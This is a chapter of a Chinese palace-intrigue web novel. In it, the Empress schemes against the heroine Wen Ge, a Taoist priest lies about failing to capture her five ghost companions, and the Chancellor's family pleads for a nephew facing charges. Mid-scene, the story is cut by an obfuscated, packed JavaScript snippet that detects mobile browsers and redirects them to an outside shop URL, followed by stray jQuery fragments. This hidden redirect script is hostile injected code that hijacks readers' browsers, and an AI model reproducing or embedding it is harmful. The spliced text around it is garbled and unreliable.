32. 第 32 章
作品:《皇上悄悄喜欢我》 凤仪宫内,沉水香的青烟从鎏金兽炉中袅袅升起,却驱不散殿内压抑的气氛。
皇后端坐主位,指尖无意识地摩挲着腕间那串和田玉佛珠。她的兄长赵柯成坐在下首,甲胄未卸,眉宇间还带着朝堂上未散的戾气。
“哥哥,今日朝议……究竟如何?”皇后的声音不高,却字字清晰。
赵柯成从鼻子里哼出一声:“皇上已当朝任命闻歌为八府巡按,专办南方那桩案子。”他顿了顿,语气愈发不善,“皇上态度坚决,连皇叔都转了风向,我一人之力,难以回天。”
皇后沉默,佛珠转动的速度加快了几分。
“皇后娘娘,”赵柯成身子前倾,压低声音,“你对这位安国郡主,了解多少?末将常年在外,京中之事知之甚少。”
“她?”皇后抬眸,眼底掠过一丝寒芒,“就是个会使妖术的祸水。”
“妖术?”赵柯成皱眉。
“她身边养着五只小鬼,来历不明。”皇后声音压得更低,“本宫已请了玉清观的张天师前去收服,只是……”
“只是什么?”
“屡屡失手。”皇后蹙起精心描画的眉,“若让她借着查案之名,又有那些鬼物相助,顺藤摸瓜……恐怕迟早会查到我们头上。”
赵柯成不以为意:“银子不是被另一伙人劫走了吗?与我们何干?”
“哥哥!”皇后语气重了些,“那批官银,是我们先动的手!虽说中途被人黑吃黑,可一旦查起源头——”她盯着赵柯成,“这就是抄家灭族的死罪!”
赵柯成脸色微变,终于意识到事情的严重性。他拳头攥紧:“既如此,末将派人做了她便是!一个黄毛丫头,还能翻出天去?”
“不可。”皇后摇头,“皇上刚任命她,她就出事,皇上岂会善罢甘休?那闻歌看着冲动莽撞,实则心思细密。本宫几次设局,都未能抓住她的把柄。”她看着兄长,语重心长,“此事不比战场厮杀,需得谋定而后动。”
赵柯成是个直肠子,不耐地拍了下椅子扶手:“这也不行,那也不行,难道坐等她来查我们?”
皇后正欲开口,殿外传来通禀:“启禀娘娘,张天师求见。”
“让他进来。”皇后对赵柯成使了个眼色,“哥哥先到屏风后暂避,听听这道人怎么说。”
赵柯成起身闪入后殿。不多时,张天师躬身入内,道袍虽换洗过,但脸上青紫未消,走路时腿脚似乎还有些不大利索。
“贫道叩见娘娘。”张天师行礼,抬头时脸上伤痕清晰可见。
皇后眸光微凝:“天师这是……?”
“昨夜贫道已设法困住那五只小鬼,”张天师面不改色,信口编来,“正要收服时,突遭数名蒙面高手袭击!贫道与他们激战三百回合,难分胜负,不料他们竟使诈偷袭……”他痛心疾首地摇头,“贫道一时不察,着了道,让那些小鬼趁乱逃了。”
他说得绘声绘色,仿佛真有那么一场惊天动地的恶斗。总不能实话实说——自己被迷药反噬晕倒,让几个乞丐当成抢地盘的揍了一顿,最后还被扔进臭水沟泡了半宿吧?那他这玉清观百年招牌还要不要了?
皇后听着,鼻翼忽然动了动,眼底掠过一丝疑虑:“天师身上……似乎有股异味?”
张天师身子一僵,暗叫不妙。他明明用香胰子搓了十几遍,皮都快搓掉一层,怎么还有味儿?他强作镇定:“许是昨夜激斗,沾染了污秽之气,还未散尽。”
宫女适时上前,为香炉添了新香。浓郁的沉香味弥漫开来,勉强盖住了那股若有似无的、类似于阴沟水的气息。
“你说有蒙面人阻拦?”皇后追问,“可曾看出什么端倪?”
“那些人黑衣蒙面,身手矫健,招招狠辣,却从头到尾不发一言。”张天师继续编造,“像是专门候在那里,就为破坏贫道收鬼。”
皇后陷入沉思。蒙面人?会是王爷的人吗?可自己与皇叔素无深仇。丞相府的人?闻歌那丫头还有别的帮手?看来,此女背后势力,比想象中更复杂。
**人心之复杂,有时比鬼魅更难以捉摸。你永远不知道,那张平静的面孔下,藏着怎样曲折的算计。**
“本宫给你三个月时间。”皇后抬眼,目光锐利,“务必拿下那五只鬼物,可能做到?”
张天师心里叫苦,面上却一派凛然:“降妖除魔乃贫道本分,纵使赴汤蹈火,也必在期限内将那五鬼擒获,交由娘娘发落!”
“甚好。退下吧。”
张天师如蒙大赦,躬身退出,一出殿门便抹了把冷汗。三个月……得想个像样的法子交差才行。
待他走远,赵柯成从屏风后转出,满脸怀疑:“皇后娘娘,这老道所言……可信吗?”
“玉清观名声在外,张天师更是观中翘楚。”皇后沉吟,“按理不该有假。只是……”她没说下去,心中那点疑虑如丝线缠绕,挥之不去。
“依末将看,这些道士多是欺世盗名之辈。”赵柯成粗声道,“娘娘还需多留个心眼。”
“本宫自有分寸。”皇后端起茶盏,轻抿一口,“哥哥先回去吧。此事,需从长计议。”
送走赵柯成,皇后沉吟片刻,吩咐宫人:“去请闻贵人过来。”
有些棋子,是该动一动了。
---
丞相府,正厅。
闻歌将闻义博之事原原本本禀告父亲后,厅内陷入死寂。
“混账东西!”闻丞相猛地将手中茶盏掼在地上,瓷片四溅,“我三番五次告诫他收敛,他全当耳旁风!如今闹到御前,还牵连你我——他是要把闻家百年清誉毁于一旦!”
闻歌看着满地狼藉,轻声道:“爹爹息怒。事已至此,交由刑部依法处置便是。”
“依法处置?”闻丞相颓然坐回椅中,声音沙哑,“他爹去得早,我这个做叔叔的……终究是疏于管教,才有今日之祸。”他望向窗外,眼神痛惜,“是我对不起大哥。”
闻歌心中揪紧。父亲一生刚正不阿,如今却要为不肖侄儿背负愧疚。她张了张嘴,却不知如何安慰。
恰在此时,门房来报:二夫人携公子闻义博求见。
闻歌与父亲对视一眼,皆看到彼此眼中的无奈。
不过片刻,闻义博的母亲——平日里总是笑意盈面的二夫人,此刻却面容憔悴、眼圈红肿,拽着儿子疾步闯入厅中。闻义博跟在她身后,耷拉着脑袋,全无往日跋扈模样,倒像只斗败的公鸡。
“贤弟!歌儿!”二夫人未语先泣,“你们可得救救义博啊!皇上、皇上要把案子交给刑部了!”她一把抓住闻丞相的衣袖,声音发颤,“看在你大哥的份上,想想办法,求皇上开恩啊!”
闻丞相闭了闭眼,抽回衣袖,语气沉重:“嫂子,此案已由刑部李尚书全权审理,圣意已决,我也无能为力。”
“怎么会没办法?”二夫人急了,转身推搡闻义博,“还不快给你叔叔跪下认错!平日我怎么教你的?你就是不听!”
闻义博“噗通”跪倒,带着哭腔:“叔叔,侄儿知错了!侄儿不想坐牢,求叔叔救我!”
二夫人又扑到闻歌面前,攥住她的手:“歌儿,伯母知道你和皇上……关系匪浅。你帮帮你堂哥,在皇上面前说几句好话,从轻发落,成不成?伯母求你了!”她说着就要往下跪。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992201|193764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
闻歌连忙扶住她:“伯母别这样,快坐下说话。”她示意丫鬟看茶,心中却乱成一团。
“歌儿,”二夫人不肯坐,眼泪扑簌簌往下掉,“我就这么一个儿子,他爹去得早,我把他拉扯大……若他有个三长两短,我、我也不活了!”她转向闻丞相,声音凄楚,“贤弟,我就算倾家荡产赔给那苦主,只要能保住义博一条命,我什么都愿意!”
闻歌看着她鬓边新添的白发,看着她眼中几乎绝望的哀求,那些硬起心肠准备回绝的话,卡在喉咙里,怎么也说不出口。
这是从小给她做糕点、给她缝衣裳的伯母。是父亲口中“大嫂持家不易”的寡嫂。是闻义博……那个混蛋堂哥的亲娘。
“伯母,”闻歌听到自己的声音干涩地响起,“您先别急。依我看……不如让堂哥先去刑部自首,坦白罪行,争取宽大处理。届时……我再寻机会,向皇上求情试试。”
话一出口,她便有些后悔。这等于给了伯母不该有的希望。可看着那张泪痕斑驳的脸,她实在狠不下心。
二夫人如抓住救命稻草,紧紧握住闻歌的手:“好!好!伯母听你的!只要有一线希望,伯母都感激不尽!”她又推闻义博,“还不谢谢你堂妹!”
闻义博忙不迭作揖,声音哽咽:“谢谢堂妹!以前是堂哥混账,对你多有得罪……堂哥给你赔不是了!”
恰在此时,闻歌的母亲闻夫人也闻讯赶来,见状轻叹:“老爷,事已至此,能帮便帮一把吧。终究是一家人。”
二夫人眼泪流得更凶:“义博他爹走得早,若这孩子真被判了重刑,我……我九泉之下,怎么有脸见他爹啊!”
闻丞相沉默良久,终于疲惫地开口:“义博,你把事情经过,原原本本再说一遍,不得有丝毫隐瞒。”
闻义博跪在地上,一五一十交代。强抢民女是酒后糊涂,本只想吓唬,谁知那姑娘性子烈,竟自尽了。事后他慌了神,想拿钱平事,却被苦主拒之门外……
“你们可曾诚心登门赔罪?”闻丞相问。
“去了,今早去的。”二夫人抹泪,“可那对老夫妻……根本不愿见我们,说只要义博偿命。”
闻丞相长叹:“丧女之痛,岂是钱财能弥补?”他站起身,在厅中踱了几步,“罢了。明日我亲自去那苦主家中赔罪。你们也去刑部李尚书府上走动,态度务必诚恳。后日……我再进宫,向皇上陈情。”
他看向闻义博,眼神复杂:“能否从轻发落,就看你的造化了。”
送走千恩万谢的二夫人母子,厅内重归寂静。
闻歌站在廊下,看着暮色中那两顶渐行渐远的轿子,心中沉甸甸的。
“早知今日,何必当初。”她低声喃喃。
可话又说回来,谁的人生没有行差踏错的时候?只是有些错,代价太大,大到一个家庭承受不起。
她想起伯母离去时佝偻的背影,想起那对失去女儿的老夫妻可能同样佝偻的背影。
**这世间最难的两全法,便是情与理的天平。偏向任何一端,心都会疼。**
夜风微凉,拂过庭院中的海棠树,叶片沙沙作响。
闻歌拢了拢衣袖,转身回房。
屋内,五个小鬼正排排坐在梁上,见她进来,齐刷刷望过来,雪白小脸上那两团嫣红在烛光下格外醒目。
“主人回来啦!”鬼五最先飘下来,“要不要捶腿?”
闻歌看着它们懵懂纯真的眼睛,忽然觉得,有时候鬼比人简单得多。
至少,它们的心思,一眼就能看透。
而人心,却如这深秋的夜,一层叠着一层,看不清底。

